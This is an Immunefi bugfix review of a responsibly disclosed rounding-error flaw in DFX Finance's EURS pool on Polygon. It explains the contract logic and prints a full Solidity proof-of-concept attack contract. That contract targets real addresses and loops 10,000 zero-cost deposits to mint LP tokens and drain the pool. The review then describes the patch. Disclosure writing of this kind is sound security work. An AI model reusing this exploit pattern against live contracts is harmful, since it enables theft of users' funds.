DFX Finance Rounding Error Bugfix Review

Summary

On April 28, 2023, a whitehat with the pseudonym perseverance submitted a critical vulnerability to DFX Finance via Immunefi, which consisted of a rounding error with the EURS token due to the non-standard decimal value of two. At the time of the submission, $237,143 was in the vulnerable pool and at risk of being stolen by a malicious hacker.

However, DFX Finance quickly took measures to remediate the bug after receiving perseverance’s report. No user funds were lost. This bug was isolated to the EURS token and did not affect any other tokens that DFX currently supports.

DFX Finance paid out a bounty of 100,000 USDT to the whitehat.

Immunefi is pleased to have facilitated this responsible disclosure with our platform. Our goal is to make web3 safer by incentivizing hackers to responsibly disclose bugs and receive clean money and reputation in exchange.

This bugfix review was written by Immunefi triager, Alejandro Muñoz-McDonald.

DFX Finance Introduction

DFX Finance is a decentralized foreign exchange (FX) protocol. DFX Finance creates a decentralized marketplace where users can swap non-USD stablecoins pegged to various foreign currencies, such as CADC, EUROC, XSGD, and more. These types of exchanges also typically incentivize liquidity providers to supply capital by offering yield on funds deposited.

The design uses an automated market making mechanism (AMM) to allow the exchange to operate in a decentralized way. The AMM exchanges tokens according to a bonding curve, which is dynamically adjusted according to real world price feeds from Chainlink. Each currency is paired with USDC, which is treated as a bridge currency in the DFX AMM between all other stablecoins.

AMMs allow these stablecoins to be traded directly via the AMM in a permissionless way, in contrast to a peer to peer model where buyers and sellers are matched from an order book. There are two major parts to the DFX protocol: Assimilators and Curve. Assimilators allow the AMM to handle pairs of different values, while also integrating reported oracle prices for respective currencies. Curve allows the custom parametrization of the bonding curve with dynamic fee, price scaling, and more.

Decentralized Exchange

Assimilators are necessary when dealing with pairs of different values, which is core to DFX protocol as all assets are paired with USDC. The AssimilatorV2 contract is responsible for converting all amounts to a numeraire, or a base value used for computations across the protocol. DFX Finance maintains the assimilators which integrate with Curve to provide proportional liquidity to pools. When users would like to provide liquidity to a pool to receive yield on their stablecoins, they call the deposit function on the Curve pool and receive liquidity provider (LP) tokens in return representing their proportion of the underlying asset they deposited.

function deposit(uint256 _deposit,uint256 _minQuoteAmount,uint256 _minBaseAmount,uint256 _maxQuoteAmount, uint256 _maxBaseAmount, uint256 _deadline)
    external
    deadline(_deadline)
    globallyTransactable
    transactable
    nonReentrant
    noDelegateCall
    isNotEmergency
    isDepositable(address(this), _deposit)
    returns (uint256, uint256[] memory)
{
    require(_deposit > 0, "Curve/deposit_below_zero");

    DepositData memory _depositData;
    _depositData.deposits = _deposit;
    _depositData.minQuote = _minQuoteAmount;
    _depositData.minBase = _minBaseAmount;
    _depositData.maxQuote = _maxQuoteAmount;
    _depositData.maxBase = _maxBaseAmount;
    (
        uint256 curvesMinted_,
        uint256[] memory deposits_
    ) = ProportionalLiquidity.proportionalDeposit(curve, _depositData);
    return (curvesMinted_, deposits_);
}

When a user deposits EURS, the function checks if the deposit amount is greater than zero, and then delegates most of the logic to the library call ProportionalLiquidity.proportionalDeposit.

function proportionalDeposit(Storage.Curve storage curve, DepositData memory depositData)
    external
    returns (uint256 curves_, uint256[] memory)
{
    int128 __deposit = depositData.deposits.divu(1e18);

    uint256 _length = curve.assets.length;

    uint256[] memory deposits_ = new uint256[](_length);

    (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve);

    // No liquidity, oracle sets the ratio
    if (_oGLiq == 0) {
        ...
    } else {
        // We already have an existing pool ratio
        // which must be respected
        int128 _multiplier = __deposit.div(_oGLiq);

        uint256 _baseWeight = curve.weights[0].mulu(1e18);
        uint256 _quoteWeight = curve.weights[1].mulu(1e18);

        for (uint256 i = 0; i < _length; i++) {
            IntakeNumLpRatioInfo memory info;
            ...
            info.amount = _oBals[i].mul(_multiplier).add(ONE_WEI);
            deposits_[i] = Assimilators.intakeNumeraireLPRatio(
                curve.assets[i].addr,
                info
            );
        }
    }

    int128 _totalShells = curve.totalSupply.divu(1e18);

    int128 _newShells = __deposit;

    if (_totalShells > 0) {
        _newShells = __deposit.mul(_totalShells);
        _newShells = _newShells.div(_oGLiq);
    }

    require(_newShells > 0, "Proportional Liquidity/can't mint negative amount");
    mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));

    return (curves_, deposits_);
}

Within the proportionalDeposit function, the curve pool calls to the AssimilatorV2 contract intakeNumeraireLPRatio to calculate the corresponding amount of euros to transfer from the user, which is calculated on line 145, based on the LP ratio passed to the function.

// takes a numeraire amount, calculates the raw amount of eurs, transfers it in and returns the corresponding raw amount
function intakeNumeraireLPRatio(
    uint256 _baseWeight,
    uint256 _minBaseAmount,
    uint256 _maxBaseAmount,
    uint256 _quoteWeight,
    uint256 _minQuoteAmount,
    uint256 _maxQuoteAmount,
    address _addr,
    int128 _amount
) external override returns (uint256 amount_) {
    uint256 _tokenBal = token.balanceOf(_addr);

    if (_tokenBal <= 0) return 0;

    _tokenBal = _tokenBal.mul(1e18).div(_baseWeight);

    uint256 _usdcBal = usdc.balanceOf(_addr).mul(1e18).div(_quoteWeight);

    // Rate is in 1e6
    uint256 _rate = _usdcBal.mul(10**tokenDecimals).div(_tokenBal);

    amount_ = (_amount.mulu(10**tokenDecimals) * 1e6) / _rate;
        
    if (address(token) == address(usdc)) {
        require(amount_ >= _minQuoteAmount && amount_ <= _maxQuoteAmount, "Assimilator/LP Ratio imbalanced!");
    } else {
        require(amount_ >= _minBaseAmount && amount_ <= _maxBaseAmount, "Assimilator/LP Ratio imbalanced!");
    }
    token.safeTransferFrom(msg.sender, address(this), amount_);
}

After the transfer of the deposit is handled in the intakeNumeraireLPRatio function and liquidity is transferred from the user to the contract, the proportionalDeposit function mints the number of LP tokens which represents the users’ share of the pool. Finally, the deposit function returns the value of deposits and shares minted.

function proportionalDeposit(...)
    external
    returns (uint256 curves_, uint256[] memory)
{
    ...
    require(_newShells > 0, "Proportional Liquidity/can't mint negative amount");
    mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));

    return (curves_, deposits_);
}

Vulnerability Analysis

DFX Finance’s contracts contained a vulnerability that stemmed from the calculation of the transfer amount within the AssimilatorV2 contract on line 145. The issue arises when the _rate exceeds the numerator value, resulting in an integer division that leads to zero tokens being transferred from the user. Despite transferring zero tokens, the user still receives curve tokens which represent their portion of the curve pool. To exploit this, an attacker would deposit a minuscule amount of tokens, causing the transferred amount to be zero while still receiving minted curve tokens in exchange for the small proportion of tokens “deposited”.

...
// Rate is in 1e6
uint256 _rate = _usdcBal.mul(10**tokenDecimals).div(_tokenBal);
...
token.safeTransferFrom(msg.sender, address(this), amount_);
...

Typically, tokens have at least six decimals, which limits the potential profit to an amount lower than would be spent on gas for the transaction. However, the EURS token on the Polygon network has only two decimals. By utilizing the EURS token and repeatedly depositing a small amount (around 10,000 times) within a single transaction, an attacker can generate a profit of approximately 172 EURO or 190 USDC per attack by withdrawing the minted curve tokens. At the time of submission, the vulnerable pool had a balance of $237,143 USD, which could have been stolen by an attacker progressively acquiring a larger portion of the pool through successive attacks.

Proof of Concept (PoC)

The Immunefi team prepared the following PoC to demonstrate the vulnerability.

pragma solidity ^0.8.13;

import "@immunefi/tokens/Tokens.sol";

import "./external/ICurve.sol";

contract AttackContract is Tokens {
    ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da);
    IERC20 constant EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99);

    function initiateAttack() external {
        console.log("\n>>> Initiate attack\n");

        // Deal tokens to attacker
        console.log("> Deal 100 EURS and 100 USDC to attacker");
        deal(PolygonTokens.USDC, address(this), 100 * 1e6);
        deal(EURS, address(this), 100 * 1e2);

        uint256 attacker_euro_balance = EURS.balanceOf(address(this));
        uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));

        console.log("EURO balance of attacker:", attacker_euro_balance);
        console.log("USDC balance of attacker:", attacker_usdc_balance);

        uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
        uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));

        console.log("EURO balance of Curve pool:", curve_euro_balance);
        console.log("USDC balance of Curve pool:", curve_usdc_balance);

        // Execute attack multiple times to drain pool
        _executeAttack();
    }

    function _executeAttack() internal {
        console.log("\n>>> Execute attack\n");

        // Approve curve pool to use funds
        PolygonTokens.USDC.approve(address(curve_pool), PolygonTokens.USDC.balanceOf(address(this)));
        // EURS approval is not needed since calculated amount to deposit is 0
        // EURS.approve(address(curve_pool), EURS.balanceOf(address(this)));

        uint256 deposit = 18003307228925150;
        uint256 minQuoteAmount = 0;
        uint256 minBaseAmount = 0;
        uint256 maxQuoteAmount = 2852783032400000000000;
        uint256 maxBaseAmount = 7992005633260983540235600000000;
        uint256 deadline = 1676706352308;

        // Deposit small amount in a loop 10,000 times to gain curve LP tokens without depositing EURS
        // If gas price is 231 wei = 0.000000231651787155 => Gas = 161 matic
        console.log("> Deposit small amount to curve pool 10,000 times");
        for (uint256 i = 0; i < 10000; i++) {
            curve_pool.deposit(deposit, minQuoteAmount, minBaseAmount, maxQuoteAmount, maxBaseAmount, deadline);
        }

        uint256 attacker_euro_balance = EURS.balanceOf(address(this));
        uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));

        console.log("EURO balance of attacker:", attacker_euro_balance);
        console.log("USDC balance of attacker:", attacker_usdc_balance);

        console.log("> Withdraw curve pool LP tokens");
        uint256 curvesToBurn = curve_pool.balanceOf(address(this));
        console.log("CURVE balance of attacker:", curvesToBurn);
        // Withdraw curve LP tokens to receive proportion of liquidity in pool of EURS and USDC
        curve_pool.withdraw(curvesToBurn, deadline);

        _completeAttack();
    }

    function _completeAttack() internal {
        console.log("\n>>> Attack complete\n");

        uint256 attacker_euro_balance = EURS.balanceOf(address(this));
        uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));

        console.log("EURO balance of attacker:", attacker_euro_balance);
        console.log("USDC balance of attacker:", attacker_usdc_balance);

        uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
        uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));

        console.log("EURO balance of Curve pool:", curve_euro_balance);
        console.log("USDC balance of Curve pool:", curve_usdc_balance);
    }
}

Vulnerability Fix

DFX Finance fixed the issue by deploying a new version of the AssimilatorV2 contract and added a require statement which checks the amount to be transferred from the user is greater than zero. The existing Curve pool was migrated to using the new Assimilator.

// takes a numeraire amount, calculates the raw amount of eurs, transfers it in and returns the corresponding raw amount
function intakeNumeraire(int128 _amount)
    external
    override
    returns (uint256 amount_)
{
    uint256 _rate = getRate();

    amount_ = (_amount.mulu(10**tokenDecimals) * 10**oracleDecimals) / _rate;

    require(amount_ > 0, "intakeNumeraire/zero-amount!");
    token.safeTransferFrom(msg.sender, address(this), amount_);
}

Acknowledgements

We would like to thank perseverance for doing an amazing job and responsibly disclosing such an important bug. Big props also to the DFX Finance team who responded quickly to the report and patched the bug.

If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.

And if you’re feeling good about your skillset and want to see if you will find bugs in the code, check out the bug bounty program from DFX Finance.